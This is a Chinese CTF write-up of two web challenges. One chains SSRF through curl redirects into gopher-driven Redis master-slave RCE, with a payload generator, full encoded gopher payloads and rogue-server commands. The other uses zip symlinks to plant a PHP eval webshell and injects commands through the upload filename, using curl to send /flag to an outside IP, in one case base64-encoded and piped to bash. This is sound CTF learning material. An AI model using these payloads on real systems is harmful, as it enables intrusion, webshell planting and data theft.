0xGAME
Week3
web_snapshot
好题目,学习一下
首先传入的URL有http:// or https://
的正则匹配,所以一般来说伪协议file://, gopher://
都不能直接传入,那么似乎就没办法很愉快的ssrf了,然而这个时候就得回去仔细看看源码是不是有遗漏的东西
1 2 3 4 5 6 7 8 9 10
| 1 function _get($url) { 2 $curl = curl_init(); 3 curl_setopt($curl, CURLOPT_URL, $url); 4 curl_setopt($curl, CURLOPT_HEADER, 0); 5 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); 6 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 7 $data = curl_exec($curl); 8 curl_close($curl); 9 return $data; 10 }
|
可以看到curl
这个老熟人是我们感兴趣的,注意第5行,设置了CURLOPT_FOLLOWLOCATION
为True
查Manual可知,这是容许curl
请求URL的时候进行重定向的方法,那么重定向就可以使用伪协议,接着PoC一下
1 2 3
| <?php header('Location: http://www.baidu.com'); ?>
|
在vps执行php -S 0.0.0.0:52000
,等于是用php起一个http-server
上面这个实例直接用http访问就可以发现重定向到了百度,所以用header
是可以修改响应头的
疑似得加?>
不然重定向就会失败,接下来试一下伪协议的读取
1 2 3
| <?php header('Location: file:///Jex/server/1.txt'); ?>
|
不知道为什么用curl_exec
读不了,不重定向的话是可以读的,重定向就读不出来了((
用http访问的话还是能看到响应头Location变成file:///Jex/server/1.txt
的,状态码也是302
先放一边,只是读不到特定的数据但是访问状态码还是302
接着就是ssrf+redis主从复制组合拳的内容了,看writeup都踩了不少坑,是我理解能力问题了
Redis主从复制getshell技巧
redis 主从复制 RCE
实际上redis主从复制的原理就是主从之间数据的同步,一般是通过命令将靶机作为攻击机的slave
获取其中的数据或者写入恶意.so
文件(攻击机上有.so
)并加载模块实现RCE,这里贴几个exp
Redis Rogue Server :redis-rogue-server.py
Redis Rogue Server :redis-master.py
首先判断我们没办法直接连接redis然后再客户端进行操作,所以需要根据可传入的信息进行SSRF
那么可以传入的也就只有curl
的URL了,仅有的http协议没有什么作用,所以需要用伪协议扩大攻击面
正好可以通过gopher://或者dict://
伪协议进行redis主从复制RCE,所以用这个办法打redis
首先我们要明确gopher://
可以发送HTTP数据包,那么就可以利用gopher://
来向redis进行通信
但是得注意gopher://
有几个小坑,接下来我会一一列举一下,具体可参考
Gopher协议在SSRF漏洞中的深入研究
- 必须固定格式
gopher://url/_\<payload>
,gopher会忽略接收到url后的第一个字符,所以要用下划线占位
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束
那么该如何利用gopher://
呢?首先我们要对redis会把传给它的HTTP数据包每一行都当做命令来执行,详见
Trying to hack Redis via HTTP requests
由此我们便能通过gopher://
来控制redis跑我们想要它执行的命令(例如slaveof
),那么接下来就讲一下过程
Make use of it
首先生成一下跑命令用的payload,套用X1r0z的脚本跑一下,修改一下某些参数,这里贴一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import requests import re
def urlencode(data): enc_data = '' for i in data: h = str(hex(ord(i))).replace('0x', '') if len(h) == 1: enc_data += '%0' + h.upper() else: enc_data += '%' + h.upper() return enc_data
def gen_payload(payload):
redis_payload = ''
for i in payload.split('\n'): arg_num = '*' + str(len(i.split(' '))) redis_payload += arg_num + '\r\n' for j in i.split(' '): arg_len = '$' + str(len(j)) redis_payload += arg_len + '\r\n' redis_payload += j + '\r\n'
gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload) return gopher_payload
payload1 = ''' slaveof 8.140.253.18 51997 config set dir /tmp config set dbfilename exp.so quit '''
payload2 = '''slaveof no one module load /tmp/exp.so system.exec 'env' quit '''
print(gen_payload(payload1)) print(gen_payload(payload2))
|
以后碰到SSRF+redis主从复制也可以套用的(等着什么时候做个汇总
拿到payload以后,由于需要让curl
通过http重定向到gopher
,所以在vps上开个php服务,记得端口不要和payload的端口一致,待会还要用redis-rogue-server.py
监听payload端口的
先写php文件实现重定向,然后shell上开服务
1 2 3
| <?php header('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%31%32%0D%0A%38%2E%31%34%30%2E%32%35%33%2E%31%38%0D%0A%24%35%0D%0A%35%31%39%39%37%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A'); ?>
|
1 2 3
| <?php header('Location: gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A'); ?>
|
在当前文件夹下执行php -S 0.0.0.0:52000
,可以试着用浏览器自己访问一下是否修改了请求头
然后注意,要加载.so
恶意文件的话,你master下面肯定得有对不对,所以还得先git clone
一下
并且看到生成payload的exp.so
文件放在/tmp
目录下,所以得在/tmp
下克隆,用哪个其实都是可以的
1
| git clone https://github.com/Dliv3/redis-rogue-server.git
|
另起一个vps窗口,进入/tmp
目录复制仓库后,照redis-rogue-server.py`的help开一下监听,这里是被动连接
1
| python3 redis-rogue-server.py --lport 51997 --server-only
|
记得lport
的端口要和payload的端口一致
至于我踩的坑那就是我用nc去监听了,结果一直卡在PING就毫无响应,实际上这样是没法调用.so
的
——————————————————————————————————————————————————
zip_manager
这个也学习一下,关于zip
软链接的使用,如果使用unzip
命令解压缩压缩文件的话就会引起这个问题
当你通过ln
命令将一个目录和一个路径关联起来,那么对这个目录的操作都会指向关联的那个路径
这就代表test
指向了/
目录,用ls -liah
能看到test -> /
这样的信息,所以我们只需要对test
进行压缩
1 2
| zip -y test.zip ./test #-y:保留软连接压缩
|
这样解压出的test
的读或者写都会表示在/
下的读或者写,如果说解压缩但是没有回显给你,那么可以考虑写马
只需要添加一步操作,在同名test
目录(可以不是这个test目录)下写一个一句话木马,然后再压缩一遍
1 2
| cd ./test;echo "<?php @eval($_GET['cmd']);?>" > cmd.php;cd .. zip -y test1.zip ./test
|
第一次先传入test.zip
,解压缩出来的test
会指向根目录;第二次再传test1.zip
,解压出的test会覆盖原来的test
,但是软链接的属性仍然还在,所以会把cmd.php
写入根目录,或者直接一步完成(如果题目条件可观
题解里还有拼接命令RCE,这里也贴一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @app.route('/unzip', methods=['POST']) def unzip(): f = request.files.get('file') if not f.filename.endswith('.zip'): return redirect('/')
user_dir = os.path.join('./uploads', md5(request.remote_addr)) if not os.path.exists(user_dir): os.mkdir(user_dir)
zip_path = os.path.join(user_dir, f.filename) dest_path = os.path.join(user_dir, f.filename[:-4]) f.save(zip_path)
os.system('unzip -o {} -d {}'.format(zip_path, dest_path)) return redirect('/')
|
可以看到os.system
执行了系统命令,而且通过格式化字符串拼接了可传入的参数,那么这里就文章可做了
我们知道linux命令如果用分号隔开是可以一行执行多条命令的,所以我们只需要满足后缀为.zip
,在中间写入我们想要执行的命令,并用分号隔开就可以了,但是因为没有回显,所以考虑curl
外带出flag
但是得用base64编码过后echo发包(埋个坑),如果用初始curl
发包的话会500_status
burp抓/unzip
路由下的包,修改filename
如下
1 2 3
| test.zip;curl 8.140.253.18:51996 -T /flag;1.zip #base64编码过后echo发包 test.zip;echo Y3VybCA4LjE0MC4yNTMuMTg6NTE5OTYgLVQgL2ZsYWc=|base64 -d|bash;1.zip
|
——————————————————————————————————————————————————
Week4